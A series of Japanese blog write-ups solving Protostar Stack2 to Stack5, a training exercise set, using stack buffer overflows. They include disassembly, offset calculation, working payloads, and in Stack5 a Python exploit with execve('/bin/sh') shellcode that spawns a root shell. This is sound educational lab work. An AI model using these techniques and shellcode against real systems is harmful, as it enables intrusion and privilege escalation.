protostar Stack5 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack5を解いたので、そのwriteupを書いていく
### Stack5
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バイナリのmain関数
$ objdump -d ./stack5 | grep main\>: -A9 080483c4 <main>: 80483c4: 55 push ebp 80483c5: 89 e5 mov ebp,esp 80483c7: 83 e4 f0 and esp,0xfffffff0 80483ca: 83 ec 50 sub esp,0x50 80483cd: 8d 44 24 10 lea eax,[esp+0x10] 80483d1: 89 04 24 mov DWORD PTR [esp],eax 80483d4: e8 0f ff ff ff call 80482e8 <gets@plt> 80483d9: c9 leave 80483da: c3 ret
前回同様76バイトより後ろがリターンアドレスのようだ.
$ python -c 'print "A"*75' | ./stack5 $ python -c 'print "A"*76' | ./stack5 Segmentation fault
Stack4と同じように脆弱性があるが今回はwin()がない.
というわけで自分で適当なシェルコードを流しこんでシェルを起動させる.
シェルコードとはコンピュータが命令として解釈できる文字列で, もっぱら脆弱性を利用して何らかの命令を実行させたいときに利用される.
よく脆弱性が見つかった時に"不正なコードを実行する脆弱性"と紹介されるが, これの不正なコードにあたるものがシェルコードだ.
今回は下記リンクのコードを使う.
http://shell-storm.org/shellcode/files/shellcode-827.php
これはx86のLinux環境でexecve("/bin/sh")を走らせた時と同じ振る舞いをする.
$ ltrace ./stack5 __libc_start_main(0x80483c4, 1, 0xbffff8a4, 0x80483f0, 0x80483e0 <unfinished ...> gets(0xbffff7b0, 0xb7ec6165, 0xbffff7b8, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff7b0 +++ exited (status 176) +++
これを見るとespの位置は0xbffff7b0であることがわかる.
bufferはそこに0x10分足した場所から始まるので0xbffff7c0であるとわかる.
ここから書き換えたいリターンアドレスとのオフセットは76バイト, さらにリターンアドレス4バイトを足した先にシェルコードを設置し読み込ませる.
bufferの先頭アドレスからリターンアドレスを含めたオフセットは80バイトで, これを0xbffff7c0と足すと0xbffff810となる.
まとめると
0xbffff7c0から76バイトを埋める
0xbffff80c(0xbffff7c0+76)の位置にその直後のアドレスを書き込む
0xbffff810(0xbffff7c0+80)の位置からシェルコードを書き込む
ということになる.
コードにすると下記のようになる
#!/usr/bin/env python import struct buffer = 0xbffff7c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def p32(num): return struct.pack("<L", num) payload = "A"*76 payload += p32(buffer+80) payload += shellcode print payload
これを標準入力からStack5に入れてもシェルが開くだけなのでcatを利用し入力できるようにする.
実行は下記のようになる.
$ (/tmp/stack5.py; cat -) | ./stack5 whoami root
バイナリの所有者権限に昇格することができたので成功とする.
Stack5 おわり
protostar stack4 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack4を解いたので、そのwriteupを書いていく
### Stack4
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バッファオーバーフロー脆弱性がある.
バイナリのmain関数
$ objdump -d ./stack4 | grep main\>: -A9 08048408 <main>: 8048408: 55 push ebp 8048409: 89 e5 mov ebp,esp 804840b: 83 e4 f0 and esp,0xfffffff0 804840e: 83 ec 50 sub esp,0x50 8048411: 8d 44 24 10 lea eax,[esp+0x10] 8048415: 89 04 24 mov DWORD PTR [esp],eax 8048418: e8 ef fe ff ff call 804830c <gets@plt> 804841d: c9 leave 804841e: c3 ret
今回はリターンアドレスを書き換えてwin()を実行する.
実行して見る前にリターンアドレスとは何かについて書く.
プログラムはcall命令を実行すると, その関数内で次に実行する命令のアドレス(コレをリターンアドレスと呼ぶ)をスタックにプッシュする.
そしてcall命令で指定されたアドレスに格納されているコードの連なりである関数を実行していく.
次にその関数が呼ばれる直前のebpをプッシュしebpにespの値を入れる.
さらに"and esp,0xfffffff0"を実行しespに格納されている最後のバイトを0にする.
その後espから値を引くことで使いたい分だけスタックを確保する.
関数内で処理が終わると最後にret命令が実行される.
ret命令はebp+4バイト先にあるcall命令時に格納された値をeipにセットし実行を続ける命令.
このサイトを見るとわかりやすいと思う(http://d.hatena.ne.jp/yz2cm/20130526/1369591965)
こういった仕組みでプログラムは動いているがここで問題が発生する.
スタック上に格納されたリターンアドレスを何らかの脆弱性を利用し書き換えられた場合, eipが書き換えられたアドレスを指すようになり, そこに格納された命令を実行し始めてしまうのだ.
つまりリターンアドレスが格納されている場所にwin()のアドレスを書き込めばwin()が実行されるというわけだ.
ではどのようにメモリ上のリターンアドレスの位置を見つけるのか実際にやってみる.
まずはltraceでどのように関数が呼ばれているか見てみる.
$ ltrace ./stack4 __libc_start_main(0x8048408, 1, 0xbffff854, 0x8048430, 0x8048420 <unfinished ...> gets(0xbffff760, 0xb7ec6165, 0xbffff768, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff760 +++ exited (status 96) +++
0xbffff760に書き込んでいるようだ.
このことから0xbffff760がbufferの先頭アドレスであると推測できる.
↑[7/11追記]これは間違いだった.
正しくはespに格納された値を読みに行っているようだ.
lea eax,[esp+0x10]
mov DWORD PTR [esp],eax
で[esp+10]のbufferの位置がespの指す0xbffff760に格納されていてこれを読んでいるみたい.
バイナリの処理を考慮しつつebpの値を計算すると
0xbffff760 - 0x10 + 0x50 = 0xbffff7a0
となる.
bufferからの差は 0xbffff7a0 - 0xbffff7a0 = 64
"and esp,0xfffffff0"で再開バイトが0になっているので実際の差は64~80範囲だ.
というわけで調べてみる.
$ python -c 'print "A"*72' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault $ python -c 'print "A"*74' | ./stack4 $ python -c 'print "A"*75' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault
どうやら76バイト以降がリターンアドレスのようだ.
以上のことか76バイト+win()のアドレスを入力すればwin()が実行できると考えられる.
次にnmコマンドでwin()のアドレスを探す.
$ nm ./stack4 | grep win 080483f4 T win
実行してみる.
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed Segmentation fault
win()関数が実行されたことがわかる.
Stack4 おわり
protostar stack3 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack3を解いたので、そのwriteupを書いていく
### Stack3
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
実行するとこんな感じ
$ ./stack3 AAAA
今回はバッファオーバーフロー脆弱性を利用し関数ポインタであるfpを上書きしwin()を実行させる.
バイナリはこんな感じ
$ objdump -d ./stack3 | grep main\>: -A20 08048438 <main>: 8048438: 55 push ebp 8048439: 89 e5 mov ebp,esp 804843b: 83 e4 f0 and esp,0xfffffff0 804843e: 83 ec 60 sub esp,0x60 8048441: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048448: 00 8048449: 8d 44 24 1c lea eax,[esp+0x1c] 804844d: 89 04 24 mov DWORD PTR [esp],eax 8048450: e8 db fe ff ff call 8048330 <gets@plt> 8048455: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 804845a: 74 1b je 8048477 <main+0x3f> 804845c: b8 60 85 04 08 mov eax,0x8048560 8048461: 8b 54 24 5c mov edx,DWORD PTR [esp+0x5c] 8048465: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 8048469: 89 04 24 mov DWORD PTR [esp],eax 804846c: e8 df fe ff ff call 8048350 <printf@plt> 8048471: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048475: ff d0 call eax 8048477: c9 leave 8048478: c3 ret ||< 見た感じ[esp+0x1c]がbuffer, [esp+0x5c]がfpっぽい. その差は64バイト. 次にwin()のアドレスを探す. これにはnmコマンドを使う. >|bash| $ nm ./stack3 | grep win 08048424 T win
出力を見るに0x08048424にwin()のコードが格納されたアドレスがあるようだ.
ここから64バイト+0x08048424の値を入力すると関数ポイタfpにwin()のアドレスが入ると考えられる.
というわけで実行してみる.
$ python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
成功した
Stack3 おわり
protostar stack 2 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack2を解いたので,そのwriteupを書いていく
### Stack 2
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
「you have correctly modified the variable」を出力させてみる.
例のごとくバッファオーバーフロー脆弱性が存在しているのでコレを利用する.
バイナリのmain関数はこんな感じ
$ objdump -d ./stack2 | grep main\>: -A33 08048494 <main>: 8048494: 55 push ebp 8048495: 89 e5 mov ebp,esp 8048497: 83 e4 f0 and esp,0xfffffff0 804849a: 83 ec 60 sub esp,0x60 804849d: c7 04 24 e0 85 04 08 mov DWORD PTR [esp],0x80485e0 80484a4: e8 d3 fe ff ff call 804837c <getenv@plt> 80484a9: 89 44 24 5c mov DWORD PTR [esp+0x5c],eax 80484ad: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 80484b2: 75 14 jne 80484c8 <main+0x34> 80484b4: c7 44 24 04 e8 85 04 mov DWORD PTR [esp+0x4],0x80485e8 80484bb: 08 80484bc: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 80484c3: e8 f4 fe ff ff call 80483bc <errx@plt> 80484c8: c7 44 24 58 00 00 00 mov DWORD PTR [esp+0x58],0x0 80484cf: 00 80484d0: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 80484d4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80484d8: 8d 44 24 18 lea eax,[esp+0x18] 80484dc: 89 04 24 mov DWORD PTR [esp],eax 80484df: e8 b8 fe ff ff call 804839c <strcpy@plt> 80484e4: 8b 44 24 58 mov eax,DWORD PTR [esp+0x58] 80484e8: 3d 0a 0d 0a 0d cmp eax,0xd0a0d0a 80484ed: 75 0e jne 80484fd <main+0x69> 80484ef: c7 04 24 18 86 04 08 mov DWORD PTR [esp],0x8048618 80484f6: e8 d1 fe ff ff call 80483cc <puts@plt> 80484fb: eb 15 jmp 8048512 <main+0x7e> 80484fd: 8b 54 24 58 mov edx,DWORD PTR [esp+0x58] 8048501: b8 41 86 04 08 mov eax,0x8048641 8048506: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 804850a: 89 04 24 mov DWORD PTR [esp],eax 804850d: e8 9a fe ff ff call 80483ac <printf@plt> 8048512: c9 leave 8048513: c3 ret
見た感じ[esp+0x58]がmodified, [esp+0x18]がbufferっぽい.
0x58-0x18=0x40, 10進数で64.
つまり64バイト+"0x0d0a0d0a"をbufferに送り込めばいい.
今回気になる所は環境変数を使っている点だ.
getenv関数でGREENIEの値を取得しvariableに入れている.
ということで環境変数GREENIEを用意しそこに値を入れる.
$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')
そして実行してみる.
$ ./stack2 you have correctly modified the variable
成功した.
Stack2 おわり